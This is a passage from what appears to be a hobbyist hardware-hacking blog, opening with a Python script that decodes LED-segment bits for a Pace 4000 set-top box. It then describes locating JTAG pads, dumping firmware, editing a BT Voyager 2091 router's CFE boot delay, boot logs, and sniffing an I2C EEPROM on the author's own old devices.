 0x06, #I
 0x1f, #J
 0x00, #K
 0x38, #L
 0x00, #M
 0x37, #N
 0x3f, #O
 0x73, #P
 0x67, #Q
 0x50, #R
 0x6d, #S
 0x78, #T
 0x3e, #U
 0x00, #V
 0x00, #W
 0x00, #X
 0x66, #Y
 0x00, #Z
 0x79,
 0x64,
 0x4f,
 0x00,
 0x08,
 0x00,
 0x5f, #a
 0x7c, #b
 0x58, #c
 0x5e, #d
 0x7b, #e
 0x71, #f
 0x6f, #g
 0x74, #h
 0x04, #i
 0x0e, #j
 0x00, #k
 0x06, #l
 0x00, #m
 0x54, #n
 0x5c, #o
 0x73, #p
 0x67, #q
 0x50, #r
 0x6d, #s
 0x78, #t
 0x1c, #u
 0x00, #v
 0x00, #w
 0x00, #x
 0x6e, #y
 0x00, #z
 0x00, 0x30, 0x00, 0x40, 0x00, 0x01, 0x01, 0x01, 0x00, 0x80, 0x01, 0x80, 0x00, 0x2d, 0x2d, 0x2d, 0x2d, 0x00, 
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb7, 0x1d, 0xc1, 0x04, 0x6e, 0x3b, 0x82, 0x09, 0xd9, 0x26, 0x43, 
 0x0d, 0xdc, 0x76, 0x04, 0x13, 0x6b, 0x6b, 0xc5, 0x17, 0xb2, 0x4d, 0x86, 0x1a, 0x05, 0x50, 0x47, 0x1e, 0xb8, 
 0xed, 0x08, 0x26, 0x0f, 0xf0, 0xc9, 0x22, 0xd6, 0xd6, 0x8a, 0x2f, 0x61, 0xcb, 0x4b, 0x2b, 0x64, 0x9b, 0x0c, 
 0x35, 0xd3, 0x86, 0xcd, 0x31, 0x0a, 0xa0, 0x8e, 0x3c, 0xbd, 0xbd, 0x4f, 0x38, 0x70, 0xdb, 0x11, 0x4c, 0xc7, 
 0xc6, 0xd0, 0x48, 0x1e, 0xe0, 0x93, 0x45, 0xa9, 0xfd, 0x52, 0x41, 0xac, 0xad, 0x15, 0x5f, 0x1b, 0xb0, 0xd4, 
 0x5b, 0xc2, 0x96, 0x97, 0x56, 0x75, 0x8b, 0x56, 0x52, 0xc8, 0x36, 0x19, 0x6a, 0x7f, 0x2b, 0xd8, 0x6e, 0xa6, 
 0x0d, 0x9b, 0x63, 0x11, 0x10, 0x5a]


s = 'PACE'
#s = 'LEE '

m = 0
shift = 0
for c in s:
  i = ord(c)
  #print i
  #print hex(lookup[i])
  m = m | (int(lookup[i]) << shift)
  shift += 8

#print "m:", hex(m)
r0 = m

#r0 = 0x79397773
#expected = 99 db 01 34


#there are 4 segments:

#pink segment - uses last two bytes i.e. 0x????XXYY (Y=1st, X=2nd)
#top half of digits one and two
#bits 1, 2 and 6 are the top half in the source bytes (XX and YY)

#extract bit 6 from XX
r2 = r0 & 0x2000        #0x0000c8a4	0xe2002d80	AND r2, r0, #0x2000
r2 = r2 >> 0xa          #0x0000c8a8	0xe1a02522	MOV r2, r2, LSR #0xa
#extract bits 1 and 2 from YY
r3 = r0 & 0x3           #0x0000c8ac	0xe2003003	AND r3, r0, #0x3
r3 = r3 << 0x5          #0x0000c8b0	0xe1a03283	MOV r3, r3, LSL #0x5
r2 = r2 | r3            #0x0000c8b4	0xe1822003	ORR r2, r2, r3
#extract bit 6 from YY
r3 = r0 & 0x20          #0x0000c8b8	0xe2003020	AND r3, r0, #0x20
r3 = r3 >> 0x1          #0x0000c8bc	0xe1a030a3	MOV r3, r3, LSR #0x1
r2 = r2 | r3            #0x0000c8c0	0xe1822003	ORR r2, r2, r3
#extract bit 1 from XX
r3 = r0 & 0x100         #0x0000c8c4	0xe2003f40	AND r3, r0, #0x100
r3 = r3 >> 0x6          #0x0000c8c8	0xe1a03323	MOV r3, r3, LSR #0x6
r2 = r2 | r3            #0x0000c8cc	0xe1822003	ORR r2, r2, r3
#extract bit 2 from XX
r3 = r0 & 0x200         #0x0000c8d0	0xe2003f80	AND r3, r0, #0x200
r3 = r3 >> 0x8          #0x0000c8d4	0xe1a03423	MOV r3, r3, LSR #0x8
r2 = r2 | r3            #0x0000c8d8	0xe1822003	ORR r2, r2, r3
#flip the inverted bits
r2 = r2 ^ 0xe7          #0x0000c8dc	0xe22220e7	EOR r2, r2, #0xe7
print "pink: ",hex(r2)

#red segment - uses last two bytes i.e. 0x????XXYY (Y=1st, X=2nd)
#bottom half of digits one and two
#bits 3, 4, 5 and 7 are the bottom half in the source bytes (XX and YY)

#extract bit 3 from YY
r3 = r0 & 0x4           #0x0000c8e4	0xe2003004	AND r3, r0, #0x4
#extract bit 4 from YY
r2 = r0 & 0x8           #0x0000c8e8	0xe2002008	AND r2, r0, #0x8
r2 = r2 >> 0x1          #0x0000c8ec	0xe1a020a2	MOV r2, r2, LSR #0x1
r2 = r2 | (r3 << 0x1)   #0x0000c8f0	0xe1822083	ORR r2, r2, r3, LSL #0x1
#extract bit 5 from YY
r3 = r0 & 0x10          #0x0000c8f4	0xe2003010	AND r3, r0, #0x10
r3 = r3 >> 0x3          #0x0000c8f8	0xe1a031a3	MOV r3, r3, LSR #0x3
r2 = r2 | r3            #0x0000c8fc	0xe1822003	ORR r2, r2, r3
#extract bit 7 from YY and bits 3, 4 and 5 from XX
r3 = r0 & 0x1c40        #0x0000c900	0xe2003d71	AND r3, r0, #0x1c40
r2 = r2 | (r3 >> 0x6)   #0x0000c904	0xe1822323	ORR r2, r2, r3, LSR #0x6
#extract bit 7 from XX
r3 = r0 & 0x4000        #0x0000c908	0xe2003c40	AND r3, r0, #0x4000
r3 = r3 >> 0x7          #0x0000c90c	0xe1a033a3	MOV r3, r3, LSR #0x7
r2 = r2 | r3            #0x0000c910	0xe1822003	ORR r2, r2, r3
#flip the inverted bits
r2 = r2 ^ 0xe7          #0x0000c914	0xe22220e7	EOR r2, r2, #0xe7
print "red:  ",hex(r2)

#green segment - uses first two bytes i.e. 0xXXYY???? (Y=3rd, X=4th)
#top half of digits three and four
#bits 1, 2 and 6 are the top half in the source bytes (XX and YY)

#shift r0 16 bits, so that it's just working on 0xXXXX
r0 = r0 >> 0x10         #0x0000c91c	0xe1a00820	MOV r0, r0, LSR #0x10
#extract bits 1 and 2 from YY
r3 = r0 & 0x3           #0x0000c920	0xe2003003	AND r3, r0, #0x3
r3 = r3 << 0x5          #0x0000c924	0xe1a03283	MOV r3, r3, LSL #0x5
#extract bit 6 from XX
r2 = r0 & 0x2000        #0x0000c928	0xe2002d80	AND r2, r0, #0x2000
r2 = r2 >> 0xa          #0x0000c92c	0xe1a02522	MOV r2, r2, LSR #0xa
r2 = r2 | r3            #0x0000c930	0xe1822003	ORR r2, r2, r3
#extract bit 6 from YY
r3 = r0 & 0x20          #0x0000c934	0xe2003020	AND r3, r0, #0x20
r3 = r3 >> 0x1          #0x0000c938	0xe1a030a3	MOV r3, r3, LSR #0x1
r2 = r2 | r3            #0x0000c93c	0xe1822003	ORR r2, r2, r3
#extract bit 1 from XX
r3 = r0 & 0x100         #0x0000c940	0xe2003f40	AND r3, r0, #0x100
r3 = r3 >> 0x6          #0x0000c944	0xe1a03323	MOV r3, r3, LSR #0x6
r2 = r2 | r3            #0x0000c948	0xe1822003	ORR r2, r2, r3
#extract bit 2 from XX
r3 = r0 & 0x200         #0x0000c94c	0xe2003f80	AND r3, r0, #0x200
r3 = r3 >> 0x8          #0x0000c950	0xe1a03423	MOV r3, r3, LSR #0x8
r2 = r2 | r3            #0x0000c954	0xe1822003	ORR r2, r2, r3
#flip the inverted bits
r2 = r2 ^ 0xe7          #0x0000c958	0xe22220e7	EOR r2, r2, #0xe7
print "green:",hex(r2)

#blue segment - uses first two bytes i.e. 0xXXYY???? (Y=3rd, X=4th)
#bottom half of digits three and four
#bits 3, 4, 5 and 7 are the bottom half in the source bytes (XX and YY)

#extract bit 3 from YY
r3 = r0 & 0x4           #0x0000c964	0xe2003004	AND r3, r0, #0x4
#extract bit 4 from YY
r2 = r0 & 0x8           #0x0000c968	0xe2002008	AND r2, r0, #0x8
r2 = r2 >> 0x1          #0x0000c96c	0xe1a020a2	MOV r2, r2, LSR #0x1
r2 = r2 | (r3 << 0x1)   #0x0000c970	0xe1822083	ORR r2, r2, r3, LSL #0x1
#extract bit 5 from YY
r3 = r0 & 0x10          #0x0000c974	0xe2003010	AND r3, r0, #0x10
r3 = r3 >> 0x3          #0x0000c978	0xe1a031a3	MOV r3, r3, LSR #0x3
r2 = r2 | r3            #0x0000c97c	0xe1822003	ORR r2, r2, r3
#extract bit 7 from YY and bits 3, 4 and 5 from XX
r3 = r0 & 0x1c40        #0x0000c980	0xe2003d71	AND r3, r0, #0x1c40
r2 = r2 | (r3 >> 0x6)   #0x0000c984	0xe1822323	ORR r2, r2, r3, LSR #0x6
#extract bit 7 from XX
r0 = r0 & 0x4000        #0x0000c988	0xe2000c40	AND r0, r0, #0x4000
r0 = r0 >> 0x7          #0x0000c98c	0xe1a003a0	MOV r0, r0, LSR #0x7
r2 = r2 | r0            #0x0000c990	0xe1822000	ORR r2, r2, r0
#flip the inverted bits
r2 = r2 ^ 0xe7          #0x0000c994	0xe22220e7	EOR r2, r2, #0xe7
print "blue :",hex(r2)  
  
reverse engineering|pace4000|jtag|
pace4000 jtag 8 Sept 2014

After having success finding the jtag pads on an old router, I turned my attention to some of the other old kit I have lying around. I'd had the lid off the Virgin-branded, Pace 4000 set top box previously and noticed that it had a handful of unpopulated headers on the board. The nine closest to the CPU seemed most promising, so after soldering some pins, checking the voltages (all within 3.3v) and for ground, I attached my arduino mega running jtagenum. It found this:

#   JTAG  colour
9   TDO   red
7   TCK   blue
5   TMS   green
3   TDI   pink
  

Using openocd I was able to hack together this config file for the Conexant 'MPEG II DECODER' ARM chip:

set _CHIPNAME conexantarm
set _CPUID 0x10940027

jtag newtap $_CHIPNAME cpu -expected-id $_CPUID -irlen 4

set _TARGETNAME $_CHIPNAME.cpu
target create $_TARGETNAME arm920t -endian little -chain-position $_TARGETNAME  
  

Dumping from 0x0, the first 256 bytes:

lee@monkeybox ~/Downloads/openocd/openocd $ hexdump -C pace-virgin.bin | less
00000000  18 f0 9f e5 18 f0 9f e5  18 f0 9f e5 18 f0 9f e5  |................|
*
00000020  08 01 00 00 78 01 00 00  84 01 00 00 f4 01 00 00  |....x...........|
00000030  00 02 00 00 0c 02 00 00  18 02 00 00 24 02 00 00  |............$...|
00000040  2e 97 a0 a9 ba f4 a7 d4  30 5f 80 35 0e c3 bc 77  |........0_.5...w|
00000050  7c 57 55 68 dc 59 be f6  24 ae d1 52 85 62 c7 8d  ||WUh.Y..$..R.b..|
00000060  83 e2 75 03 75 29 e6 11  00 00 04 00 fc ff 03 00  |..u.u)..........|
00000070  00 00 00 20 00 00 00 00  00 00 00 00 00 00 00 00  |... ............|
00000080  08 08 00 00 00 00 00 00  00 00 6c 6f 61 64 65 72  |..........loader|
00000090  00 00 00 5f 37 37 37 37  37 37 37 37 37 37 37 37  |..._777777777777|
000000a0  37 37 37 37 37 37 37 37  37 37 37 37 37 37 37 37  |7777777777777777|
000000b0  37 37 37 37 37 37 37 37  37 37 37 37 2b f7 9f f4  |777777777777+...|
000000c0  4e 54 4c 20 4c 6f 61 64  65 72 20 56 31 2e 39 20  |NTL Loader V1.9 |
000000d0  52 65 6c 65 61 73 65 00  00 00 00 00 00 00 00 00  |Release.........|
000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|  
  

And through 'strings' (anyone else think the passcode for 'ENGINEERING MODE' might be '0000'? ;) ):

Stopping off air download
Paul's debug loader 
BUILDING FAT: 
Ethernet Download Not Avaliable
Changing to serial download
Serial Download
Skipping Download
RUN PLATFORM 
FAIL
Invalid platform flash is set. Deleting non platform objects
Deleted flash object of type 
Failed to delete flash object, error is 
pstHeader is 
Object size is 
CRC offset is 
*****************************************************************
                  
PRIMARY LOADER
Ldr 
Err1
RAM Fail
Err2
**********NVRAM Fail***********
Err3
FLASH Fail
Er40
Cache Initialise Fail
LED Initialise Fail
PACE
Key Initialise Fail
I2C Initialise Fail
Graphics Initialise Fail
DENC Initialise Fail
SCART Initialise Fail
REMOD Initialise Fail
Engineering mode
Failed to read keys
ENGINEERING MODE: 
0000
0000  
  
reverse engineering|pace4000|jtag|
changing the cfe boot delay with jtag 20 Aug 2014

On bcm6348 based devices, the standard bootloader is called the cfe. As well as boot strapping the board - so it can start the kernel - it also usually provides a few mechanisms for installing pre-built OS images. The process is simple: connect to the uart, wait for the "Press space key to stop auto run" message and press space. The boot is halted and you're given a 'CFE>' prompt where you can execute commands:

CFE version 1.0.37-21.6.8 for BCM96348 (32bit,SP,BE)
Build Date: Thu Sep 22 10:49:20 CST 2005 (michaelc@AskeyBrcmServer)

Flash Config: CS0(1f80000a,17),Base(bf800000),Size(8MB)
Ethernet Network Device: Internal PHY

Board IP address                : 192.168.1.1:ffffff00  
Host IP address                 : 192.168.1.2  
Gateway IP address              :   
Run from flash/host (f/h)       : f  
Default host run file name      :   
Default host flash file name    : bcmModelName_fs_kernel  
Boot delay (1-9 seconds)        : 9  
Board Id Name                   : V2091_BB  
Psi size in KB                  : 24
Number of MAC Addresses (1-32)  : 3  
Ethernet MAC Address            : 00:16:e3:1f:0d:1c  
WEP 128bit Key                  : a986888aa527c  
Memory size in MB               : 16

==== Press space key to stop auto run (9 seconds) ====
Auto run second count down(before hit space key): 4
CFE> help
Available commands:

w                   Write the whole image start from beginning of the flash
e                   Erase [n]vram or [a]ll flash except bootrom
r                   Run program from flash image or from host depend on [f/h] flag
p                   Print boot line and board parameter info
c                   Change booline parameters
f                   Write image to the flash 
i                   Erase persistent storage data
b                   Change board parameters
reset               Reset the board
flashimage          Flashes a compressed image after the bootloader.
help                Obtain help for CFE commands

For more information about a command, enter 'help command-name'
*** command status = 0
CFE>    
  

However on the bt voyager 2091 that I've been working on recently, the bootloader doesn't stop and doesn't respond to space being pressed at all. I know that on other boards the boot delay is a configurable option from with the cfe shell; the menu looks like this:

CFE> c   
Press:  <enter> to use current value
Board IP address                :[192.168.1.1:ffffff00]:
Host IP address                 :[192.168.1.2]:  
Gateway IP address              :[]:
Run from flash/host (f/h)       :[f]:  
Default host run file name      :[]:
Default host flash file name    :[bcmModelName_fs_kernel]:  
Boot delay (1-9 seconds)        :[9]:    
  

I used jtag to pull the cfe (64k @0x1fc00000) and ran it through hexdump:

00000570  63 66 65 2d 76 01 00 25  15 06 08 00 00 00 00 00  |cfe-v..%........|
00000580  00 00 00 02 65 3d 31 39  32 2e 31 36 38 2e 31 2e  |....e=192.168.1.|
00000590  31 3a 66 66 66 66 66 66  30 30 20 68 3d 31 39 32  |1:ffffff00 h=192|
000005a0  2e 31 36 38 2e 31 2e 32  20 67 3d 20 72 3d 66 20  |.168.1.2 g= r=f |
000005b0  66 3d 20 69 3d 62 63 6d  4d 6f 64 65 6c 4e 61 6d  |f= i=bcmModelNam|
000005c0  65 5f 66 73 5f 6b 65 72  6e 65 6c 20 64 3d 31 20  |e_fs_kernel d=1 |
000005d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|  
  

It's not hard to see that there's a bunch of key=value pairs that match the expected data:

e=192.168.1.1:ffffff00        (Board IP address)
h=192.168.1.2                 (Host IP address)
g=                            (Gateway IP address)
r=f                           (Run from flash/host (f/h))
f=                            (Default host run file name)
i=bcmModelName_fs_kernel      (Default host flash file name)
d=1                           (Boot delay (1-9 seconds))
  

Using a hex editor I modified the boot delay value in 0x5ce from '1'(0x31) to '9'(0x39) and flashed it back to the 2091 - I was expecting that I'd at least have to find and fix up a checksum somewhere, and I was quite surprised when it booted with:

CFE version 1.0.37-21.6.8 for BCM96348 (32bit,SP,BE)
Build Date: Thu Sep 22 10:49:20 CST 2005 (michaelc@AskeyBrcmServer)

Flash Config: CS0(1f80000a,17),Base(bf800000),Size(8MB)
Ethernet Network Device: Internal PHY

*** Board is not initialized properly ***

Press:  <enter> to use current value
Board Id Name (A-O)
RTA1045VG        -------- A
RTA1045BVG       -------- B
RTA1046VW        -------- C
RTA1046BVW       -------- D
RTA1052BVW       -------- E
RTA1050V         -------- F
RTA1052V         -------- G
V220V_BBV        -------- H
V2091_BB         -------- I
V2090            -------- J
V2110            -------- K
V2500V_BBV       -------- L
V2500V_BB        -------- M
RTA1025W_16      -------- N
RTA1025BW_16     -------- O     :[I]:  
Number of MAC Addresses (1-32)  :[0]:  3
Ethernet MAC Address            :[]:00:16:e3:1f:0d:1c
WEP 128bit Key                  :[a986888aa527c]:  

Save and Exit  (y/n):y

Save your cnofiguration to nvram........done

Press any key to reset the board: 

CFE version 1.0.37-21.6.8 for BCM96348 (32bit,SP,BE)
Build Date: Thu Sep 22 10:49:20 CST 2005 (michaelc@AskeyBrcmServer)

Flash Config: CS0(1f80000a,17),Base(bf800000),Size(8MB)
Ethernet Network Device: Internal PHY

Board IP address                : 192.168.1.1:ffffff00  
Host IP address                 : 192.168.1.2  
Gateway IP address              :   
Run from flash/host (f/h)       : f  
Default host run file name      :   
Default host flash file name    : bcmModelName_fs_kernel  
Boot delay (1-9 seconds)        : 9  
Board Id Name                   : V2091_BB  
Psi size in KB                  : 24
Number of MAC Addresses (1-32)  : 3  
Ethernet MAC Address            : 00:16:e3:1f:0d:1c  
WEP 128bit Key                  : a986888aa527c  
Memory size in MB               : 16

==== Press space key to stop auto run (9 seconds) ====
  

And I could get into the cfe shell.

The final difficulty with the cfe on this board, is that the network stack seems to be disabled or uninitialised until you change the board IP address. I'm not sure if that's down to my messing with the cfe or if maybe it was intentionally disabled at the factory.

bcm6348|reverse engineering|cfe|
bt voyager 2091 uart 2 Aug 2014

Yet another BT device: a voyager 2091 - another BCM6348 device. UART is nice and easy to get at; even has headers soldered in:

Here's the full boot output:

CFE version 1.0.37-21.6.8 for BCM96348 (32bit,SP,BE)
Build Date: Thu Sep 22 10:49:20 CST 2005 (michaelc@AskeyBrcmServer)

Flash Config: CS0(1f80000a,17),Base(bf800000),Size(8MB)
Ethernet Network Device: Internal PHY
Auto-negotiation timed-out

Board IP address                : 192.168.1.1:ffffff00  
Host IP address                 : 192.168.1.2  
Gateway IP address              :   
Run from flash/host (f/h)       : f  
Default host run file name      :   
Default host flash file name    : bcmModelName_fs_kernel  
Boot delay (1-9 seconds)        : 1  
Board Id Name                   : V2091_BB  
Psi size in KB                  : 24
Number of MAC Addresses (1-32)  : 4  
Ethernet MAC Address            : 00:16:e3:1f:0d:1c  
WEP 128bit Key                  : a986888aa527c  
Memory size in MB               : 16

==== Press space key to stop auto run (1 seconds) ====
Auto run second count down(before hit space key): 0
Code Address: 0x80010000, Entry Address: 0x8001046c
Decompression OK!
Entry at 0x8001046c
Closing network.
Starting program at 0x8001046c
Flash Config: CS0(1f80000a,17),Base(bf800000),Size(8MB)
FLASH_BASE bfc00000,blk 47
Total Flash size: 8192K with 135 sectors NVRAM @71 block
Scratch pad is not used for this flash part.
V2091_BB prom init
CPU revision is: 00029107
Primary instruction cache 16kb, linesize 16 bytes (2 ways)
Primary data cache 8kb, linesize 16 bytes (2 ways)
Linux version 2.4.17 (michaelc@AskeyBrcmServer) (gcc version 3.1) #1 Mon Sep 26 10:37:13 CST 2005
Determined physical RAM map:
 memory: 00fa0000 @ 00000000 (usable)
On node 0 totalpages: 4000
zone(0): 4000 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/mtdblock0 ro
bcm_console_setup
Calibrating delay loop... 239.20 BogoMIPS
Memory: 14112k/16000k available (1171k kernel code, 1888k reserved, 84k data, 48k init, 0k highmem)
Dentry-cache hash table entries: 2048 (order: 2, 16384 bytes)
Inode-cache hash table entries: 1024 (order: 1, 8192 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 4096 (order: 2, 16384 bytes)
Checking for 'wait' instruction...  unavailable.
POSIX conformance testing by UNIFIX
PCI: Fixing up bus 0
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Starting kswapd
brcmboard: brcm_board_init entry
Module bcm63xx_cons.c v1.1 Sep 26 2005 10:37:30
block: 64 slots per queue, batch=16
PPP generic driver version 2.4.1
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 512 bind 1024)
Linux IP multicast router 0.06 plus PIM-SM
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Ebtables v2.0 registered<6>NET4: Ethernet Bridge 008 for NET4.0
VFS: Mounted root (cramfs filesystem) readonly.
Freeing unused kernel memory: 48k freed
init started:  BusyBox v0.60.4 (2005.09.26-02:43+0000) multi-call binary
Algorithmics/MIPS FPU Emulator v1.5


BusyBox v0.60.4 (2005.09.26-02:43+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.


Loading drivers and kernel modules... 

atmapi: init_module entry 0xc0015060
blaadd: blaa_detect entry
adsl: adsl_init entry
var 1.0 initialised
PCI: Enabling device 00:01.0 (0004 -> 0006)
wl: srom not detected, using main memory mapped srom info (wombo board)
wl0: Broadcom BCM4318 802.11 Wireless Controller 3.91.39.0
Broadcom BCM6348B0 Ethernet Network Device v0.1 Sep 26 2005 10:40:46 Ports 1  unit 1 Internal PHY
BCM63xx_ENET: Auto-negotiation timed-out
BCM63xx_ENET: 10 MB Half-Duplex (assumed)
eth0: MAC Address: 00:16:E3:1F:0D:1C
Broadcom BCM6348B0 USB Network Device v0.3 Sep 26 2005 10:40:47
usb0: MAC Address: 00 16 E3 1F 0D 1D
usb0: Host MAC Address: 00 16 E3 1F 0D 1E
USB Vendor id=069a, USB Product id=0318 

==>   Bcm963xx Software Version: 2.21.05.08m_A2pB018c1.d16d   <==
  
uart|bcm6348|
bt voyager 2091 jtag 2 Aug 2014

Before attempting to flash a router with openwrt, I like to jtag it so I can dump and restore the flash if it all goes horribly wrong. Unlike the the serial console, the jtag connections on the BT voyager 2091 aren't obvious - and unlike the previous bcm6348 boards I've jtag'd, someone hasn't already documented them.

Although the board has a large amount of exposed pads and/or vias, very few of these are labelled. On the underside however there's a small cluster of pads labelled BTP2, BTP3, BTP4 and BTP5. As jtag usually needs a minimum of TMS, TCK, TDO and TDI these four pads seemed like the best place to start.

I didn't want to have to manually walk through all possible combinations - especially if it turned out they weren't the correct pads and I'd have to expand my search to the numerous unlabelled pads - so I looked for a way to automate. After finding a couple of dedicated (but expensive) devices I eventually found jtagenum for the arduino. Jtagenum basically just brute forces it's way through all pin combinations and would be perfect if my arduino wasn't 5v; the 2091 is a 3.3v device.

Here's the 2091, my arduino mega and an eight-way level shifter on a breadboard, using a handful of mosfets (circuit borrowed from here).

Jtagenum really wants five pins: the usual four TMS/TCK/TDO/TDI and nTRST. As I don't have a candidate for nTRST I added and extra pin (40) to the pin[]/pinnames[] arrays and just left it unconnected. The four BTPx wires were connected to 24, 29, 32, and 37. Running the 'pattern scan' gave the following output:

================================
Starting scan for pattern:0110011101001101101000010111001001
active  ntrst:32 tck:37 tms:24 tdo:29 tdi:40	bits toggled:3
active  ntrst:32 tck:37 tms:40 tdo:29 tdi:24	bits toggled:6
active  ntrst:40 tck:37 tms:24 tdo:29 tdi:32	bits toggled:58
active  ntrst:40 tck:37 tms:32 tdo:29 tdi:24	bits toggled:6
================================
  

As I knew that 40 was unconnected it couldn't be either of the first two 'active' lines; one has TMS as 40 the other has TDI as 40. This left just two combinations to try with my busblaster - first one didn't work but the second one made urjtag do this:

UrJTAG 0.10 #2039
Copyright (C) 2002, 2003 ETC s.r.o.
Copyright (C) 2007, 2008, 2009 Kolja Waschk and the respective authors

UrJTAG is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
There is absolutely no warranty for UrJTAG.

warning: UrJTAG may damage your hardware!
Type "quit" to exit, "help" for help.

jtag> cable jtagkey vid=0x403 pid=0x6010
Connected to libftdi driver.
jtag> detect
IR length: 5
Chain length: 1
Device Id: 00000110001101001000000101111111 (0x0634817F)
  Manufacturer: Broadcom (0x17F)
  Part(0):      BCM6348 (0x6348)
  Stepping:     V1
  Filename:     /usr/local/share/urjtag/broadcom/bcm6348/bcm6348
  

Excellent :) working JTAG!

Pin outs:

BTP2 - TDI - red
BTP3 - TDO - green
BTP4 - TMS - blue
BTP5 - TCK - purple
  

Soldering these tiny little spots was really tricky - considering all the coffee I'd consumed at that point!

jtag|bcm6348|reverse engineering|
binary dumping a 24LC64 i2c eeprom by sniffing reads 20 Jul 2014

I was gifted an old USB to compact flash adaptor recently. Inside, it's based around a SL11RIDE USB to ATA chip, a T14L256 SRAM chip and a 25LC64 i2c serial eeprom. I've been wanting to have a play with the buspirate's i2c sniffer for a while and the 'vendor/device configuration' stored in the eeprom sounded like a good first target.

Capturing the data from the buspirate is pretty trivial and really just comes down to connecting SCL/SDA/GND to the eeprom, setting the mode to i2c and starting the sniffer macro:

lee@monkeybox ~ $ cu -l /dev/ttyUSB0 -s 115200
Connected.

HiZ>m
1. HiZ
2. 1-WIRE
3. UART
4. I2C
5. SPI
6. 2WIRE
7. 3WIRE
8. LCD
9. DIO
x. exit(without change)

(1)>4
Set speed:
 1. ~5KHz
 2. ~50KHz
 3. ~100KHz
 4. ~400KHz

(1)>4
Ready
I2C>(0)
 0.Macro menu
 1.7bit address search
 2.I2C sniffer
I2C>(2)
Sniffer
Any key to exit
  

The output from the sniffer is a little harder to work with. The buspirate produces raw i2c primitives (start:[ / stop:] / ack:+ / nack:- / data:0x??), upon which the 24LC64's own read/write protocol is implemented:

][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][]][][][][[][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][[][][][][][]
[][][[0xA0+0x00+0x00+[0xA1+0xB6-][0xA1+0xC3-][0xA1+0x04-][0xA1+0x00-][0xA1+0x00-
][0xA1+0x06-][0xA1+0xC0-][0xA1+0x00-][0xA1+0x00-][0xA1+0xB6-][0xA1+0xC3-][0xA1+0
x04-][0xA1+0x00-][0xA1+0x00-][0xA1+0x3A-][0xA1+0xC0-][0xA1+0x09-][0xA1+0x00-][0x
A1+0xB6-][0xA1+0xC3-][0xA1+0x04-][0xA1+0x00-][0xA1+0x00-][0xA1+0xA6-][0xA1+0x00-
][0xA1+0xC2-][0xA1+0x00-][0xA1+0xB6-][0xA1+0xC3-][0xA1+0x06-][0xA1+0x00-][0xA1+0
x00-][0xA1+0xB6-][0xA1+0x00-][0xA1+0x7E-][0xA1+0x11-][0xA1+0x9E-][0xA1+0x11-][0x
A1+0xB6-][0xA1+0xC3-][0xA1+0x04-][0xA1+0x00-][0xA1+0x00-][0xA1+0xBE-][0xA1+0x00-
][0xA1+0x44-][0xA1+0x03-][0xA1+0xB6-][0xA1+0xC3-][0xA1+0x62-][0xA1+0x00-][0xA1+0
x00-][0xA1+0x1E-][0xA1+0x00-][0xA1+0xD2-][0xA1+0x07-][0xA1+0x40-][0xA1+0x00-][0x
A1+0xE7-][0xA1+0x07-][0xA1+0x08-][0xA1+0x00-][0xA1+0x7A-][0xA1+0x00-][0xA1+0x03-
][0xA1+0xAF-][0xA1+0x97-][0xA1+0xCF-][0xA1+0xE7-][0xA1+0x07-][0xA1+0x70-][0xA1+0
x11-][0xA1+0x24-][0xA1+0x01-][0xA1+0xE7-][0xA1+0x07-][0xA1+0x0D-][0xA1+0x00-][0x
A1+0x26-][0xA1+0x01-][0xA1+0xE7-][0xA1+0x09-][0xA1+0x24-][0xA1+0x01-][0xA1+0x8E-
][0xA1+0x02-][0xA1+0xE7-][0xA1+0x09-][0xA1+0x26-][0xA1+0x01-][0xA1+0x86-][0xA1+0
x02-][0xA1+0xE7-][0xA1+0x07-][0xA1+0x07-][0xA1+0x00-][0xA1+0x92-][0xA1+0xC0-][0x
A1+0x97-][0xA1+0xCF-][0xA1+0xC0-][0xA1+0x07-][0xA1+0x40-][0xA1+0x00-][0xA1+0xC9-
][0xA1+0x07-][0xA1+0x5E-][0xA1+0x02-][0xA1+0x21-][0xA1+0x30-][0xA1+0xD1-][0xA1+0
x47-][0xA1+0x00-][0xA1+0x00-][0xA1+0x97-][0xA1+0xC3-][0xA1+0x51-][0xA1+0x94-][0x
A1+0x49-][0xA1+0xDA-][0xA1+0x40-][0xA1+0x14-][0xA1+0x51-][0xA1+0x94-][0xA1+0x97-
